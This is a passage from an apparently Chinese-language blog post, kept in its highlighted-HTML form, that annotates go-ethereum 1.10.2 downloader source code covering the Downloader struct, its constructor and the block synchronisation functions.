class="comment">// Checkpoint block number to enforce head against (e.g. fast sync)</span></span><br><span class="line">  genesis    <span class="type">uint64</span>   <span class="comment">// Genesis block number to limit sync to (e.g. light client CHT)</span></span><br><span class="line">  queue      *queue   <span class="comment">// Scheduler(调度程序)for selecting the hashes to download</span></span><br><span class="line">  peers      *peerSet <span class="comment">// Set of active peers from which download can proceed</span></span><br><span class="line"></span><br><span class="line">  stateDB    ethdb.Database  <span class="comment">// Database to state sync into (and deduplicate via)</span></span><br><span class="line">  stateBloom *trie.SyncBloom <span class="comment">// Bloom filter for fast trie node and contract code existence checks</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">// Statistics  统计信息，</span></span><br><span class="line">  syncStatsChainOrigin <span class="type">uint64</span> <span class="comment">// Origin block number where syncing started at</span></span><br><span class="line">  syncStatsChainHeight <span class="type">uint64</span> <span class="comment">// Highest block number known when syncing started</span></span><br><span class="line">  syncStatsState       stateSyncStats</span><br><span class="line">  syncStatsLock        sync.RWMutex <span class="comment">// Lock protecting the sync stats fields</span></span><br><span class="line"></span><br><span class="line">  lightchain LightChain</span><br><span class="line">  blockchain BlockChain</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Callbacks</span></span><br><span class="line">  dropPeer peerDropFn <span class="comment">// Drops a peer for misbehaving</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">// Status</span></span><br><span class="line">  synchroniseMock <span class="function"><span class="keyword">func</span><span class="params">(id <span class="type">string</span>, hash common.Hash)</span></span> <span class="type">error</span> <span class="comment">// Replacement for synchronise during testing</span></span><br><span class="line">  synchronising   <span class="type">int32</span></span><br><span class="line">  notified        <span class="type">int32</span></span><br><span class="line">  committed       <span class="type">int32</span></span><br><span class="line">  ancientLimit    <span class="type">uint64</span> <span class="comment">// The maximum block number which can be regarded as ancient data.</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">// Channels 这些通道很重要</span></span><br><span class="line">  headerCh      <span class="keyword">chan</span> dataPack        <span class="comment">// Channel receiving inbound block headers  header的输入通道，从网络下载的header会被送到这个通道</span></span><br><span class="line">  bodyCh        <span class="keyword">chan</span> dataPack        <span class="comment">// Channel receiving inbound block bodies   bodies的输入通道，从网络下载的bodies会被送到这个通道</span></span><br><span class="line">  receiptCh     <span class="keyword">chan</span> dataPack        <span class="comment">// Channel receiving inbound receipts       receipts的输入通道，从网络下载的receipts会被送到这个通道</span></span><br><span class="line">  bodyWakeCh    <span class="keyword">chan</span> <span class="type">bool</span>            <span class="comment">// Channel to signal the block body fetcher of new tasks   用来传输body fetcher新任务的通道</span></span><br><span class="line">  receiptWakeCh <span class="keyword">chan</span> <span class="type">bool</span>            <span class="comment">// Channel to signal the receipt fetcher of new tasks      用来传输receipt fetcher 新任务的通道</span></span><br><span class="line">  headerProcCh  <span class="keyword">chan</span> []*types.Header <span class="comment">// Channel to feed the header processor new tasks          通道为header处理者提供新的任务</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">// State sync</span></span><br><span class="line">  pivotHeader *types.Header <span class="comment">// Pivot block header to dynamically push the syncing state root</span></span><br><span class="line">  pivotLock   sync.RWMutex  <span class="comment">// Lock protecting pivot header reads from updates</span></span><br><span class="line"></span><br><span class="line">  snapSync       <span class="type">bool</span>         <span class="comment">// Whether to run state sync over the snap protocol</span></span><br><span class="line">  SnapSyncer     *snap.Syncer <span class="comment">// TODO(karalabe): make private! hack for now</span></span><br><span class="line">  stateSyncStart <span class="keyword">chan</span> *stateSync    <span class="comment">//启动新的state fetcher</span></span><br><span class="line">  trackStateReq  <span class="keyword">chan</span> *stateReq</span><br><span class="line">  stateCh        <span class="keyword">chan</span> dataPack <span class="comment">// Channel receiving inbound node state data  State的输入通道，从网络下载的State会被送到这个通道</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">// Cancellation and termination</span></span><br><span class="line">  cancelPeer <span class="type">string</span>         <span class="comment">// Identifier of the peer currently being used as the master (cancel on drop)</span></span><br><span class="line">  cancelCh   <span class="keyword">chan</span> <span class="keyword">struct</span>&#123;&#125;  <span class="comment">// Channel to cancel mid-flight syncs</span></span><br><span class="line">  cancelLock sync.RWMutex   <span class="comment">// Lock to protect the cancel channel and peer in delivers</span></span><br><span class="line">  cancelWg   sync.WaitGroup <span class="comment">// Make sure all fetcher goroutines have exited.</span></span><br><span class="line"></span><br><span class="line">  quitCh   <span class="keyword">chan</span> <span class="keyword">struct</span>&#123;&#125; <span class="comment">// Quit channel to signal termination</span></span><br><span class="line">  quitLock sync.Mutex    <span class="comment">// Lock to prevent double closes</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">// Testing hooks</span></span><br><span class="line">  syncInitHook     <span class="function"><span class="keyword">func</span><span class="params">(<span class="type">uint64</span>, <span class="type">uint64</span>)</span></span>  <span class="comment">// Method to call upon initiating a new sync run</span></span><br><span class="line">  bodyFetchHook    <span class="function"><span class="keyword">func</span><span class="params">([]*types.Header)</span></span> <span class="comment">// Method to call upon starting a block body fetch</span></span><br><span class="line">  receiptFetchHook <span class="function"><span class="keyword">func</span><span class="params">([]*types.Header)</span></span> <span class="comment">// Method to call upon starting a receipt fetch</span></span><br><span class="line">  chainInsertHook  <span class="function"><span class="keyword">func</span><span class="params">([]*fetchResult)</span></span>  <span class="comment">// Method to call upon inserting a chain of blocks (possibly in multiple invocations)</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="构造方法"><strong>构造方法</strong></h4><p>New 用于初始化一个 Downloader 对象，具体代码如下所示：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// New creates a new downloader to fetch hashes and blocks from remote peers.</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">New</span><span class="params">(checkpoint <span class="type">uint64</span>, stateDb ethdb.Database, stateBloom *trie.SyncBloom, mux *event.TypeMux, chain BlockChain, lightchain LightChain, dropPeer peerDropFn)</span></span> *Downloader &#123;</span><br><span class="line">  <span class="keyword">if</span> lightchain == <span class="literal">nil</span> &#123;</span><br><span class="line">    lightchain = chain</span><br><span class="line">  &#125;</span><br><span class="line">  dl := &amp;Downloader&#123;</span><br><span class="line">    stateDB:        stateDb,</span><br><span class="line">    stateBloom:     stateBloom,</span><br><span class="line">    mux:            mux,</span><br><span class="line">    checkpoint:     checkpoint,</span><br><span class="line">    queue:          newQueue(blockCacheMaxItems, blockCacheInitialItems),</span><br><span class="line">    peers:          newPeerSet(),</span><br><span class="line">    rttEstimate:    <span class="type">uint64</span>(rttMaxEstimate),</span><br><span class="line">    rttConfidence:  <span class="type">uint64</span>(<span class="number">1000000</span>),</span><br><span class="line">    blockchain:     chain,</span><br><span class="line">    lightchain:     lightchain,</span><br><span class="line">    dropPeer:       dropPeer,</span><br><span class="line">    headerCh:       <span class="built_in">make</span>(<span class="keyword">chan</span> dataPack, <span class="number">1</span>),</span><br><span class="line">    bodyCh:         <span class="built_in">make</span>(<span class="keyword">chan</span> dataPack, <span class="number">1</span>),</span><br><span class="line">    receiptCh:      <span class="built_in">make</span>(<span class="keyword">chan</span> dataPack, <span class="number">1</span>),</span><br><span class="line">    bodyWakeCh:     <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="type">bool</span>, <span class="number">1</span>),</span><br><span class="line">    receiptWakeCh:  <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="type">bool</span>, <span class="number">1</span>),</span><br><span class="line">    headerProcCh:   <span class="built_in">make</span>(<span class="keyword">chan</span> []*types.Header, <span class="number">1</span>),</span><br><span class="line">    quitCh:         <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="keyword">struct</span>&#123;&#125;),</span><br><span class="line">    stateCh:        <span class="built_in">make</span>(<span class="keyword">chan</span> dataPack),</span><br><span class="line">    SnapSyncer:     snap.NewSyncer(stateDb),</span><br><span class="line">    stateSyncStart: <span class="built_in">make</span>(<span class="keyword">chan</span> *stateSync),</span><br><span class="line">    syncStatsState: stateSyncStats&#123;</span><br><span class="line">      processed: rawdb.ReadFastTrieProgress(stateDb),</span><br><span class="line">    &#125;,</span><br><span class="line">    trackStateReq: <span class="built_in">make</span>(<span class="keyword">chan</span> *stateReq),</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">go</span> dl.qosTuner()        <span class="comment">//计算rttEstimate和rttConfidence</span></span><br><span class="line">  <span class="keyword">go</span> dl.stateFetcher()    <span class="comment">//启动stateFetcher的任务监听</span></span><br><span class="line">  <span class="keyword">return</span> dl</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="同步下载"><strong>同步下载</strong></h4><p>区块同步始于 Synchronise 函数，在这里会直接调用 synchronise 进行同步，如果同步过程中出现错误，则删除掉 Peer：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Synchronise tries to sync up our local block chain with a remote peer, both</span></span><br><span class="line"><span class="comment">// adding various sanity checks as well as wrapping it with various log entries.</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(d *Downloader)</span></span> Synchronise(id <span class="type">string</span>, head common.Hash, td *big.Int, mode SyncMode) <span class="type">error</span> &#123;</span><br><span class="line">  err := d.synchronise(id, head, td, mode)</span><br><span class="line"></span><br><span class="line">  <span class="keyword">switch</span> err &#123;</span><br><span class="line">  <span class="keyword">case</span> <span class="literal">nil</span>, errBusy, errCanceled:</span><br><span class="line">    <span class="keyword">return</span> err</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> errors.Is(err, errInvalidChain) || errors.Is(err, errBadPeer) || errors.Is(err, errTimeout) ||</span><br><span class="line">    errors.Is(err, errStallingPeer) || errors.Is(err, errUnsyncedPeer) || errors.Is(err, errEmptyHeaderSet) ||</span><br><span class="line">    errors.Is(err, errPeersUnavailable) || errors.Is(err, errTooOld) || errors.Is(err, errInvalidAncestor) &#123;</span><br><span class="line">    log.Warn(<span class="string">&quot;Synchronisation failed, dropping peer&quot;</span>, <span class="string">&quot;peer&quot;</span>, id, <span class="string">&quot;err&quot;</span>, err)</span><br><span class="line">    <span class="keyword">if</span> d.dropPeer == <span class="literal">nil</span> &#123;</span><br><span class="line">      <span class="comment">// The dropPeer method is nil when `--copydb` is used for a local copy.</span></span><br><span class="line">      <span class="comment">// Timeouts can occur if e.g. compaction hits at the wrong time, and can be ignored</span></span><br><span class="line">      log.Warn(<span class="string">&quot;Downloader wants to drop peer, but peerdrop-function is not set&quot;</span>, <span class="string">&quot;peer&quot;</span>, id)</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">//删除操作</span></span><br><span class="line">      d.dropPeer(id)</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> err</span><br><span class="line">  &#125;</span><br><span class="line">  log.Warn(<span class="string">&quot;Synchronisation failed, retrying&quot;</span>, <span class="string">&quot;err&quot;</span>, err)</span><br><span class="line">  <span class="keyword">return</span> err</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>synchronise 函数实现代码如下：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// synchronise will select the peer and use it for synchronising. If an empty string is given</span></span><br><span class="line"><span class="comment">// it will use the best peer possible and synchronize if its TD is higher than our own. If any of the</span></span><br><span class="line"><span class="comment">// checks fail an error will be returned. This method is synchronous</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(d *Downloader)</span></span> synchronise(id <span class="type">string</span>, hash common.Hash, td *big.Int, mode SyncMode) <span class="type">error</span> &#123;</span><br><span class="line">  <span class="comment">// Mock out the synchronisation if testing</span></span><br><span class="line">  <span class="keyword">if</span> d.synchroniseMock != <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> d.synchroniseMock(id, hash)</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// Make sure only one goroutine is ever allowed past this point at once    // 只能运行一个， 检查是否正在运行</span></span><br><span class="line">  <span class="keyword">if</span> !atomic.CompareAndSwapInt32(&amp;d.synchronising, <span class="number">0</span>, <span class="number">1</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> errBusy</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">defer</span> atomic.StoreInt32(&amp;d.synchronising, <span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Post a user notification of the sync (only once per session)   // 发布同步的用户通知（每个会话仅一次）</span></span><br><span class="line">  <span class="keyword">if</span> atomic.CompareAndSwapInt32(&amp;d.notified, <span class="number">0</span>, <span class="number">1</span>) &#123;</span><br><span class="line">    log.Info(<span class="string">&quot;Block synchronisation started&quot;</span>)</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// If we are already full syncing, but have a fast-sync bloom filter laying</span></span><br><span class="line">  <span class="comment">// around, make sure it doesn&#x27;t use memory any more. This is a special case</span></span><br><span class="line">  <span class="comment">// when the user attempts to fast sync a new empty network.</span></span><br><span class="line">  <span class="keyword">if</span> mode == FullSync &amp;&amp; d.stateBloom != <span class="literal">nil</span> &#123;</span><br><span class="line">    d.stateBloom.Close()</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// If snap sync was requested, create the snap scheduler and switch to fast</span></span><br><span class="line">  <span class="comment">// sync mode. Long term we could drop fast sync or merge the two together,</span></span><br><span class="line">  <span class="comment">// but until snap becomes prevalent, we should support both. TODO(karalabe).</span></span><br><span class="line">  <span class="keyword">if</span> mode == SnapSync &#123;</span><br><span class="line">    <span class="keyword">if</span> !d.snapSync &#123;</span><br><span class="line">      log.Warn(<span class="string">&quot;Enabling snapshot sync prototype&quot;</span>)</span><br><span class="line">      d.snapSync = <span class="literal">true</span></span><br><span class="line">    &#125;</span><br><span class="line">    mode = FastSync</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// Reset the queue, peer set and wake channels to clean any internal leftover state</span></span><br><span class="line">  d.queue.Reset(blockCacheMaxItems, blockCacheInitialItems)  <span class="comment">// 重置queue的状态</span></span><br><span class="line">  d.peers.Reset()                       <span class="comment">//  重置peer的状态</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> _, ch := <span class="keyword">range</span> []<span class="keyword">chan</span> <span class="type">bool</span>&#123;d.bodyWakeCh, d.receiptWakeCh&#125; &#123;   <span class="comment">// 清空d.bodyWakeCh, d.receiptWakeCh</span></span><br><span class="line">    <span class="keyword">select</span> &#123;</span><br><span class="line">    <span class="keyword">case</span> &lt;-ch:</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">for</span> _, ch := <span class="keyword">range</span> []<span class="keyword">chan</span> dataPack&#123;d.headerCh, d.bodyCh, d.receiptCh&#125; &#123;   <span class="comment">//清空d.headerCh, d.bodyCh, d.receiptCh</span></span><br><span class="line">    <span class="keyword">for</span> empty := <span class="literal">false</span>; !empty; &#123;</span><br><span class="line">      <span class="keyword">select</span> &#123;</span><br><span class="line">      <span class="keyword">case</span> &lt;-ch:</span><br><span class="line">      <span class="keyword">default</span>:</span><br><span class="line">        empty = <span class="literal">true</span></span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">for</span> empty := <span class="literal">false</span>; !empty; &#123;    <span class="comment">// 清空headerProcCh</span></span><br><span class="line">    <span class="keyword">select</span> &#123;</span><br><span class="line">    <span class="keyword">case</span> &lt;-d.headerProcCh:</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">      empty = <span class="literal">true</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// Create cancel channel for aborting mid-flight and mark the master peer</span></span><br><span class="line">  d.cancelLock.Lock()</span><br><span class="line">  d.cancelCh = <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="keyword">struct</span>&#123;&#125;)</span><br><span class="line">  d.cancelPeer = id</span><br><span class="line">  d.cancelLock.Unlock()</span><br><span class="line"></span><br><span class="line">  <span class="keyword">defer</span> d.Cancel() <span class="comment">// No matter what, we can&#x27;t leave the cancel channel open</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">// Atomically set the requested sync mode</span></span><br><span class="line">  atomic.StoreUint32(&amp;d.mode, <span class="type">uint32</span>(mode))</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Retrieve the origin peer and initiate the downloading process</span></span><br><span class="line">  p := d.peers.Peer(id)</span><br><span class="line">  <span class="keyword">if</span> p == <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> errUnknownPeer</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> d.syncWithPeer(p, hash, td)    <span class="comment">// 基于哈希链从指定的peer和head hash开始块同步</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>syncWithPeer 函数代码如下所示：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// filedir:go-ethereum-1.10.2\eth\downloader\downloader.go  L448</span></span><br><span class="line"><span class="comment">// syncWithPeer starts a block synchronization based on the hash chain from the</span></span><br><span class="line"><span class="comment">// specified peer and head hash.</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(d *Downloader)</span></span> syncWithPeer(p *peerConnection, hash common.Hash, td *big.Int) (err <span class="type">error</span>) &#123;</span><br><span class="line">  d.mux.Post(StartEvent&#123;&#125;)</span><br><span class="line">  <span class="keyword">defer</span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> &#123;</span><br><span class="line">    <span class="comment">// reset on error</span></span><br><span class="line">    <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">      d.mux.Post(FailedEvent&#123;err&#125;)</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      latest := d.lightchain.CurrentHeader()</span><br><span class="line">      d.mux.Post(DoneEvent&#123;latest&#125;)</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;()</span><br><span class="line">  <span class="keyword">if</span> p.version &lt; <span class="number">64</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;%w: advertized %d &lt; required %d&quot;</span>, errTooOld, p.version, <span class="number">64</span>)</span><br><span class="line">  &#125;</span><br><span class="line">  mode := d.getMode()</span><br><span class="line"></span><br><span class="line">  log.Debug(<span class="string">&quot;Synchronising with the network&quot;</span>, <span class="string">&quot;peer&quot;</span>, p.id, <span class="string">&quot;eth&quot;</span>, p.version, <span class="string">&quot;head&quot;</span>, hash, <span class="string">&quot;td&quot;</span>, td, <span class="string">&quot;mode&quot;</span>, mode)</span><br><span class="line">  <span class="keyword">defer</span> <span class="function"><span class="keyword">func</span><span class="params">(start time.Time)</span></span> &#123;</span><br><span class="line">    log.Debug(<span class="string">&quot;Synchronisation terminated&quot;</span>, <span class="string">&quot;elapsed&quot;</span>, common.PrettyDuration(time.Since(start)))</span><br><span class="line">  &#125;(time.Now())</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Look up the sync boundaries: the common ancestor and the target block</span></span><br><span class="line">  latest, pivot, err := d.fetchHead(p)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> err</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> mode == FastSync &amp;&amp; pivot == <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="comment">// If no pivot block was returned, the head is below the min full block</span></span><br><span class="line">    <span class="comment">// threshold (i.e. new chian). In that case we won&#x27;t really fast sync</span></span><br><span class="line">    <span class="comment">// anyway, but still need a valid pivot block to avoid some code hitting</span></span><br><span class="line">    <span class="comment">// nil panics on an access.</span></span><br><span class="line">    pivot = d.blockchain.CurrentBlock().Header()</span><br><span class="line">  &#125;</span><br><span class="line">  height := latest.Number.Uint64()</span><br><span class="line"></span><br><span class="line">  origin, err := d.findAncestor(p, latest)  <span class="comment">// 通过findAncestor来获取共同祖先，以便找到一个开始同步的点</span></span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> err</span><br><span class="line">  &#125;</span><br><span class="line">  d.syncStatsLock.Lock()</span><br><span class="line">  <span class="keyword">if</span> d.syncStatsChainHeight &lt;= origin || d.syncStatsChainOrigin &gt; origin &#123;</span><br><span class="line">    d.syncStatsChainOrigin = origin</span><br><span class="line">  &#125;</span><br><span class="line">  d.syncStatsChainHeight = height</span><br><span class="line">  d.syncStatsLock.Unlock()</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Ensure our origin point is below any fast sync pivot point</span></span><br><span class="line">  <span class="keyword">if</span> mode == FastSync &#123;</span><br><span class="line">    <span class="keyword">if</span> height &lt;= <span class="type">uint64</span>(fsMinFullBlocks) &#123;      <span class="comment">// 如果对端节点的height小于64，则共同祖先更新为0</span></span><br><span class="line">      origin = <span class="number">0</span></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;                   <span class="comment">// 否则更新pivot为对端节点height-64</span></span><br><span class="line">      pivotNumber := pivot.Number.Uint64()</span><br><span class="line">      <span class="keyword">if</span> pivotNumber &lt;= origin &#123;             <span class="comment">// 如果pivot小于共同祖先，则更新共同祖先为pivot的前一个</span></span><br><span class="line">        origin = pivotNumber - <span class="number">1</span></span><br><span class="line">      &#125;</span><br><span class="line">      <span class="comment">// Write out the pivot into the database so a rollback beyond it will</span></span><br><span class="line">      <span class="comment">// reenable fast sync</span></span><br><span class="line">      rawdb.WriteLastPivotNumber(d.stateDB, pivotNumber)</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  d.committed = <span class="number">1</span></span><br><span class="line">  <span class="keyword">if</span> mode == FastSync &amp;&amp; pivot.Number.Uint64() != <span class="number">0</span> &#123;</span><br><span class="line">    d.committed = <span class="number">0</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> mode == FastSync &#123;</span><br><span class="line">    <span class="comment">// Set the ancient data limitation.</span></span><br><span class="line">    <span class="comment">// If we are running fast sync, all block data older than ancientLimit will be</span></span><br><span class="line">    <span class="comment">// written to the ancient store. More recent data will be written to the active</span></span><br><span class="line">    <span class="comment">// database and will wait for the freezer to migrate.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// If there is a checkpoint available, then calculate the ancientLimit through</span></span><br><span class="line">    <span class="comment">// that. Otherwise calculate the ancient limit through the advertised height</span></span><br><span class="line">    <span class="comment">// of the remote peer.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// The reason for picking checkpoint first is that a malicious peer can give us</span></span><br><span class="line">    <span class="comment">// a fake (very high) height, forcing the ancient limit to also be very high.</span></span><br><span class="line">    <span class="comment">// The peer would start to feed us valid blocks until head, resulting in all of</span></span><br><span class="line">    <span class="comment">// the blocks might be written into the ancient store. A following mini-reorg</span></span><br><span class="line">    <span class="comment">// could cause issues.</span></span><br><span class="line">    <span class="keyword">if</span> d.checkpoint != <span class="number">0</span> &amp;&amp; d.checkpoint &gt; fullMaxForkAncestry+<span class="number">1</span> &#123;</span><br><span class="line">      d.ancientLimit = d.checkpoint</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> height &gt; fullMaxForkAncestry+<span class="number">1</span> &#123;</span><br><span class="line">      d.ancientLimit = height - fullMaxForkAncestry - <span class="number">1</span></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      d.ancientLimit = <span class="number">0</span></span><br><span class="line">    &#125;</span><br><span class="line">    frozen, _ := d.stateDB.Ancients() <span class="comment">// Ignore the error here since light client can also hit here.</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// If a part of blockchain data has already been written into active store,</span></span><br><span class="line">    <span class="comment">// 